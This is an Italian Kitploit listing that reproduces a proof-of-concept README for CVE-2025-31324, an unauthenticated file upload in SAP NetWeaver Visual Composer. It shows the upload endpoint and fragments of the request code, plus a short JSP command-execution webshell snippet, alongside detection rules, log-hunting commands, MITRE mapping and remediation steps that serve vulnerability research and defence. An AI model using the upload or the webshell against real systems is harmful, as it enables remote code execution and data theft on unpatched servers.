Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-31324 — Proof-of-concept exploit per CVE-2025-31324, un upload di file non autenticato in SAP NetWeaver Visual Composer, con indicazioni di rilevamento, mapping MITRE e passaggi di remediation. | Kitploit
Strumenti/GitHubGitHub/hkenzokimura/cve-2025-31324
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed TeamingRisposta agli Incidenti
GitHubhkenzokimura/cve-2025-31324

CVE-2025-31324

Proof-of-concept exploit per CVE-2025-31324, un upload di file non autenticato in SAP NetWeaver Visual Composer, con indicazioni di rilevamento, mapping MITRE e passaggi di remediation.

Vedi Repository
5h 23m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

🔴 CVE-2025-31324 — SAP NetWeaver Visual Composer Upload di File Non Autenticato

Tipo: Proof of Concept — Ricerca sulle Vulnerabilità CVE: CVE-2025-31324 CVSS: 10.0 Critico (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) Stato: Corretto — SAP Security Note 3594142 + 3604119 Aggiunto al CISA KEV: Maggio 2025

⚠️ Questo PoC utilizza un file JSP benigno ("Hello World") per validare la superficie di attacco senza eseguire codice malevolo. Uso esclusivo in ambienti autorizzati per scopi di pentesting e sviluppo di rilevamenti.

Developed by: HKK


$ cat ./vulnerability_summary.txt

La vulnerabilità CVE-2025-31324 risiede nel componente Visual Composer Metadata Uploader di SAP NetWeaver AS Java — un difetto di missing authorization check che consente a qualsiasi attaccante non autenticato di inviare richieste POST all'endpoint /developmentserver/metadatauploader, risultando in un upload non limitato di file arbitrari.

La CVE colpisce specificamente il SAP NetWeaver Visual Composer Framework versione 7.50, con punteggio CVSS 10.0 — il massimo possibile.

Gli attaccanti hanno sfruttato attivamente questa vulnerabilità da gennaio a maggio 2025, installando webshell persistenti in centinaia di sistemi in tutto il mondo.


$ cat ./impact.txt

Operando con privilegi elevati e in prossimità dei dati ERP, il lateral movement verso stack SAP ABAP o database connessi è banale dopo lo sfruttamento.

La catena di sfruttamento completa negli attacchi reali:

root@kitploit:~
Upload JSP (CVE-2025-31324)
    → Webshell persistente sul server
        → RCE come processo SAP (alto privilegio)
            → Accesso ai dati ERP (Finance, HR, Supply Chain)
                → Lateral movement verso ABAP / DB
                    → Deploy di framework C2 (es: Brute Ratel)

$ cat ./architecture.txt

Come funziona l'endpoint vulnerabile

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────┐
│              CVE-2025-31324 — EXPLOIT FLOW                              │
│                                                                         │
│  ATTACCANTE                  SAP NETWEAVER AS JAVA                      │
│                                                                         │
│  POST /developmentserver/metadatauploader                               │
│  Content-Type: multipart/form-data          ┌─────────────────────┐    │
│  Body: file JSP/WAR/qualsiasi ────────────► │  Metadata Uploader  │    │
│  (senza autenticazione)                     │                     │    │
│                                             │  ❌ Nessuna verifica │    │
│                                             │     di auth         │    │
│                                             │  ❌ Nessuna validaz. │    │
│                                             │     dell'estensione │    │
│                                             │  ❌ Nessuna sanitiz. │    │
│                                             │     del contenuto   │    │
│                                             └────────┬────────────┘    │
│                                                      │                 │
│                                             File salvato in:           │
│                                             /irj/root/ o simile        │
│                                                      │                 │
│  GET /irj/hello_world.jsp ◄──────────────────────────┘                 │
│  → Hello World (PoC benigno)                                            │
│  → Webshell (exploit reale)                                             │
└─────────────────────────────────────────────────────────────────────────┘

Perché esiste l'endpoint?

Il /developmentserver/metadatauploader fa parte del SAP Visual Composer — uno strumento di sviluppo low-code per analisti di business per creare applicazioni SAP senza codice Java. L'endpoint è stato progettato per ricevere modelli di metadata durante lo sviluppo. Sebbene il componente non sia abilitato nella configurazione predefinita di NetWeaver, Onapsis ha segnalato che è ampiamente attivato negli ambienti di produzione.


$ cat ./design_decisions.md

1. Scelta del Payload — JSP "Hello World"

root@kitploit:~
file_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""

Perché JSP e non un altro formato?

SAP NetWeaver AS Java esegue una JVM — i file .jsp vengono interpretati direttamente dal servlet container (Apache Tomcat integrato) senza compilazione preventiva. Questo rende JSP il formato ideale per webshell in ambienti Java.

La scelta del contenuto benigno ("Hello World") è deliberata per il PoC:

  • Valida la superficie vulnerabile senza eseguire codice malevolo
  • Conferma l'upload (codice HTTP 200 + file accessibile via GET)
  • Evidenza forense pulita per il report di pentest

Nello sfruttamento reale, il contenuto sarebbe una webshell JSP con esecuzione di comandi, es:

root@kitploit:~
<%
  String cmd = request.getParameter("cmd");
  Runtime.getRuntime().exec(cmd);
%>

2. multipart/form-data — Perché questo Content-Type?

root@kitploit:~
files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}

L'endpoint si aspetta una richiesta multipart/form-data — lo stesso formato usato dai moduli HTML di upload file. Questo è intenzionale nel design originale del Visual Composer (upload di modelli di sviluppo).

La libreria requests costruisce automaticamente i boundary del multipart quando viene passato files= — l'header Content-Type: multipart/form-data; boundary=... viene generato internamente.

verify=False: disabilita la validazione del certificato TLS — necessario perché gli ambienti SAP usano spesso certificati self-signed. In produzione, usare verify='/path/to/ca-bundle.crt'.

3. Percorso dell'Endpoint — Anatomia dell'URL

root@kitploit:~
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
ComponenteSignificato
:50201Porta predefinita di SAP ICM (Internet Communication Manager) HTTPS
/developmentserver/Servlet di sviluppo del Visual Composer
metadatauploaderEndpoint specifico per l'upload di metadata
CONTENTTYPE=MODELTipo di contenuto atteso dall'endpoint
CLIENT=1Mandante SAP (client) — 000, 100, 001 sono comuni

$ cat ./mitre_mapping.yml

root@kitploit:~
tactic: Initial Access
  - T1190  # Exploit Public-Facing Application
            # Sfruttamento dell'endpoint /developmentserver/metadatauploader
            # senza autenticazione via HTTP POST

tactic: Execution
  - T1505.003  # Server Software Component: Web Shell
               # JSP webshell caricata → eseguita dal servlet container (Tomcat)

tactic: Persistence
  - T1505.003  # Web Shell come meccanismo di persistenza
               # Il file JSP persiste nel filesystem del server tra i riavvii

tactic: Defense Evasion
  - T1036      # Masquerading
               # Webshell denominate come file SAP legittimi (es: metadata.jsp)

tactic: Discovery
  - T1082      # System Information Discovery
               # Post-RCE: enumerare processi, utenti, percorsi SAP

tactic: Lateral Movement
  - T1210      # Exploitation of Remote Services
               # Accesso allo stack ABAP, database connessi via RCE

tactic: Collection
  - T1005      # Data from Local System
               # Accesso diretto ai dati ERP (Finance, HR, Supply Chain)

$ cat ./affected_versions.txt

root@kitploit:~
Prodotto:  SAP NetWeaver Application Server Java
Componente: Visual Composer Framework
Versione:   7.50 (tutte le build precedenti alla patch di aprile/maggio 2025)

Patch:
  SSN 3594142 → Patch iniziale (aprile 2025) — mitiga l'upload di file
  SSN 3604119 → Fix della root cause via CVE-2025-42999 (maggio 2025) — affronta la causa principale
  SSN 3578900, 3620498, 3621771, 3634501 → Note complementari di hardening

CISA KEV: sia CVE-2025-31324 che CVE-2025-42999 sono stati aggiunti al catalogo

$ cat ./detection_opportunities.md

Rilevamento dell'Exploit (durante l'attacco)

root@kitploit:~
# Regola: POST non autenticato verso l'endpoint del Metadata Uploader
# Fonte: SAP Web Dispatcher / ICM access log

Condizione:
  - method: POST
  - uri_path CONTAINS: /developmentserver/metadatauploader
  - auth_header: ABSENT
  - body_content_type: multipart/form-data

Severità: CRITICA — investigare immediatamente
root@kitploit:~
# Log SAP ICM — pattern sospetto:
[2025-04-25 03:41:22] POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
Status: 200 | Size: 1337 | Auth: NONE | IP: x.x.x.x

Rilevamento di Webshell (post-compromissione)

root@kitploit:~
# Regola: GET per file .jsp creato di recente fuori dai percorsi SAP legittimi
Condizione:
  - method: GET
  - uri_path MATCHES: /irj/.*\.jsp
  - file_creation_time: < 24h
  - file_NOT_IN: [lista di JSP legittimi noti]
root@kitploit:~
# Processo figlio sospetto della JVM SAP
# Fonte: Sysmon / EDR process creation
Condizione:
  - parent_process: java.exe o jstart.exe
  - child_process: cmd.exe OPPURE powershell.exe OPPURE sh OPPURE bash
  - command_line CONTAINS: -c OPPURE .socket OPPURE .call( OPPURE .spawn(

Red Canary ha documentato il seguente pattern di rilevamento per lo sfruttamento di CVE-2025-31324 in ambienti Linux: processo python con argomento -c combinato con .socket e .call( o .spawn( — indicativo di reverse shell post-webshell.

Hunting nei Log SAP

root@kitploit:~
# Cercare richieste POST verso l'endpoint vulnerabile negli ultimi 90 giorni
# Directory dei log: /usr/sap/<SID>/J<inst>/work/

grep -r "metadatauploader" /usr/sap/*/work/dev_icm* | grep "POST"
grep -r "metadatauploader" /usr/sap/*/work/http_access* | grep -v "GET"

# Elencare JSP creati di recente nella directory web
find /usr/sap/ -name "*.jsp" -newer /usr/sap/<SID>/SYS/global/security -type f

$ cat ./remediation.md

root@kitploit:~
PRIORITÀ: CRITICA — Patch immediata

1. Verificare se il componente è attivo:
   NWA → Configuration → Infrastructure → Java System Properties
   Cercare: com.sap.tc.vccomp.server.vis.jms.VisJmsService

2. Se non necessario → DISATTIVARE il Visual Composer:
   NWA → Start & Stop → Services → VisualComposer → Stop

3. Applicare le patch obbligatorie (in ordine):
   SSN 3594142  ← critico (upload di file)
   SSN 3604119  ← root cause (CVE-2025-42999)
   SSN 3578900, 3620498, 3660659 (hardening aggiuntivo)

4. Configurare il JVM Serial Filter (post-patch):
   NWA → JVM Parameters → aggiungere filtro per classi malevole

5. Limitare l'accesso di rete all'endpoint nel Web Dispatcher / Firewall:
   BLOCCARE: /developmentserver/* per IP esterni
   CONSENTIRE: solo host di sviluppo autorizzati

6. Verificare gli IOC — cercare webshell installate prima della patch:
   Analizzare i log ICM da gennaio 2025
   Cercare file .jsp con contenuto sospetto in /irj/

$ cat ./usage.sh

root@kitploit:~
# Installare la dipendenza
pip install requests

# Modificare l'URL nello script prima di eseguire:
# url = "https://<tuo-host-lab>:<porta>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1"

# Eseguire
python cve_2025_31324_poc.py

# Verificare se l'upload ha funzionato (il file deve essere accessibile)
curl -k https://<host>:<port>/irj/hello_world.jsp
# Risposta attesa se vulnerabile: HTML con "Hello World"
# Risposta attesa se patchato: 404 o 403

$ cat ./timeline.txt

root@kitploit:~
Gen 2025      Inizio dello sfruttamento attivo in-the-wild (rilevato retroattivamente)
24 Apr 2025   SAP pubblica CVE-2025-31324 (CVSS 10.0) + SSN 3594142
28 Apr 2025   CISA aggiunge al Known Exploited Vulnerabilities Catalog
29 Apr 2025   Rapid7, Qualys, Red Canary pubblicano analisi tecniche
07 Mag 2025   Onapsis + Mandiant (Google Cloud) pubblicano briefing congiunto
13 Mag 2025   SAP pubblica SSN 3604119 (root cause via CVE-2025-42999, CVSS 9.1)
15 Mag 2025   CISA aggiunge CVE-2025-42999 al catalogo KEV
20 Mag 2025   Scadenza CISA per il patching nei sistemi federali USA
25 Giu 2025   Unit 42 conclude il monitoraggio attivo della campagna

$ cat ./references.md

root@kitploit:~
CVE:        https://www.cve.org/CVERecord?id=CVE-2025-31324
SAP Note:   https://me.sap.com/notes/3594142
NVD:        https://nvd.nist.gov/vuln/detail/CVE-2025-31324
CISA KEV:   https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Onapsis:    https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/
Rapid7:     https://www.rapid7.com/blog/post/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324/
Unit 42:    https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/
Red Canary: https://redcanary.com/blog/threat-intelligence/cve-2025-31324/

$ cat ./lessons_learned.txt

root@kitploit:~
[+] Missing auth negli endpoint di "sviluppo" è un vettore classico sottovalutato
[+] CVSS 10.0 significa: senza auth + rete + RCE completo — la trifecta più critica possibile
[+] Visual Composer non è predefinito ma era ampiamente attivo in produzione — rischio di shadow features
[+] JSP come webshell è particolarmente furtivo: senza compilazione, eseguito direttamente dal container
[+] Gli attaccanti hanno sfruttato per 3+ mesi prima della divulgazione pubblica — il rilevamento SOC è critico
[-] verify=False nel PoC — in un pentest reale, documentare il cert self-signed e usare verify=percorso
[-] CLIENT=1 hardcoded — la produzione può usare 000, 100, 200; enumerare prima
[-] Il PoC non verifica se il file è rimasto accessibile dopo l'upload — aggiungere GET di conferma
[→] Miglioramenti: argparse per host/port/client, verifica automatica post-upload, output in JSON

CVE Research · CVSS 10.0 · Patched April/May 2025 · CISA KEV · Authorized testing only

Scarica lo strumento